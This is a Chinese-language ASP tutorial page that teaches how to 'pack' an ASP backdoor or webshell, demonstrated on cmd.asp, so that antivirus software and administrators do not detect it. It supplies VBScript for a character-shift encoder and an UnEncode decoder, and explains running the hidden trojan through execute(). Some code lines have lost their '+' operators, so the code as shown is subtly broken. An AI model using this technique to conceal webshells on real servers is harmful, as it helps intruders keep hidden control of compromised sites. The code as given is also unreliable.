ASP后門之終極偽裝_ASP教程

      編輯Tag賺U幣
      教程Tag:暫無Tag,歡迎添加,賺取U幣!

      推薦:用ASP封IP的方法,防止固定IP垃圾留言
      以下為引用的內容: <% Dim IP,IPString,VisitIP '要禁止的IP地址 IPString="|195.225.177.34|195.225.177.137|72.232.250.10|&qu

      記得當年asp木馬出來的時候號稱“永不被殺的木馬”,呵呵,時至今日,隨便什么殺毒軟件都能將其殺得片甲不留^_^呵呵,受到木馬換殼躲避殺毒軟件思路影響,我們也可以給asp木馬“加殼”(呵呵,當然不是用UPX等)。還等什么?請往下看。

      其實這個思路很簡單,就是把asp代碼編碼,執行時再解碼。這里有兩個方法,一是用微軟的工具Script Encoder;二是利用asp的execute函數。

      先說說Script Encoder。這個東東可以在微軟官方網站免費下到,而且還附贈詳細使用說明,這里就不多說了吧。但是經過它加密后的文件會有<%@ LANGUAGE = VBScript.Encode %>,呵呵,露馬腳了,管理員看到這句話就知道這個asp文件被加密了。那怎么解密呢?這里提供一個解密軟件(》點擊進入下載《)。現在知道了吧,微軟的Script Encoder不保險,所以呢,我們要自己寫一個程序出來“加殼”。

      asp的execute函數是拿來執行字符串的,即是說可以把asp語句寫成字符串,然后用execute來執行。比如這行代碼:execute("response.write(""hackerXfiles"")"),執行后的效果等同于執行response.write("hackerXfiles")。這里由于execute函數里的東東是字符串,故遇到引號要雙寫。呵呵,既然execute里是字符串,那么我們就可以把里面的東東拿來加密了。

      怎么加密呢?呵呵,就用最簡單的移位法好了。請看代碼:


        but=1
        cc=replace(nr,vbcrlf,"胡")
        for i= 1 to len(cc)
          if mid(cc,i,1)<>"胡" then
            pk=asc(mid(cc,i,1)) but
            if pk>126 then
              pk=pk-95
            elseif pk<32 then
              pk=pk 95
            end if
            temp=temp&chr(pk)
          else
            temp=temp&"胡"
          end if
        next
        temp=replace(temp,"""","""""")
        response.write(temp)

      這段代碼就是asp下的循環移位法。那個變量but就是移位的位數,可修改。呵呵,怎么叫循環呢?因為程序會比較字符的ascii碼,當大于126或者小于32時就會處理,使范圍在32~126之間。因為這樣可以避免出現windows不能顯示的字符。這也是一開始就把回車換行符替換掉的原因。這里我自己寫了一個移位加密的asp程序xor.asp附上,希望對你有幫助。

      那就讓我們來看看用上面代碼把response.write("hackerXfiles")加密后的結果:“sftqpotf/xsjuf)#ibdlfsYgjmft#*”,嘿嘿,這回神仙也看不懂了吧^_^

      既然加了密,當然要解密啦,看解密代碼:

      function UnEncode(temp)
        but=1 '這個是移位法所移的位數!注意修改此處與加密時使用的一致
        for i =1 to len(temp)
          if mid(temp,i,1)<>"胡" then
            pk=asc(mid(temp,i,1))-but
            if pk>126 then
              pk=pk-95
            elseif pk<32 then
              pk=pk 95
            end if
            a=a&chr(pk)
          else
            a=a&vbcrlf
          end if
        next
        UnEncode=a
      end function

      呵呵,現在知道怎么執行了吧,只需調用這個解密函數就是:execute(UnEncode("sftqpotf/xsjuf)#ibdlfsYgjmft#*")),怎么樣,是不是順利執行了!

      在這里給大家一個示范,好讓大家明白怎么加密asp木馬。由于海洋的asp木馬代碼太多,我人又懶,就拿那個短小精悍的cmd.asp來示范吧!

      首先運行我寫的那個xor.asp,然后用記事本打開cmd.asp,將它的asp代碼部分復制到xor.asp的文本框,填好移位參數(這里我用的1),點“轉換”,呵呵,結果就出來了。然后新建一個文本文檔,把cmd.asp的內容復制進去,前面那個UnEncode函數內容也添進去(這里要注意修改UnEncode函數里變量but的值與加密時選的移位參數值一致),然后把它的asp部分替換成execute(UnEncode(hu))的形式,其中hu用前一步得到的加密結果賦值。呵呵,然后保存為asp文件就ok啦!這里就再羅嗦幾句。如果代碼比較長,可以分成幾部分加密,然后多用幾個execute執行就是,但是要注意必須保證asp代碼的完整性,也就是說不能把相關聯的代碼如if、end if分到兩個execute里去了。

      看看吧,同樣可以運行!

      分享:查詢某個字段沒有值的所有記錄的SQL語句怎么寫?
      有時我們需要查詢出某字段沒有值的全部記錄,那應該用rs("xx")=""還是IsNull(rs("xx"))呢?要得出結論,我們還得從頭說起:什么情況下字段中會沒有值?因為這和

      來源:模板無憂//所屬分類:ASP教程/更新時間:2008-08-22
      相關ASP教程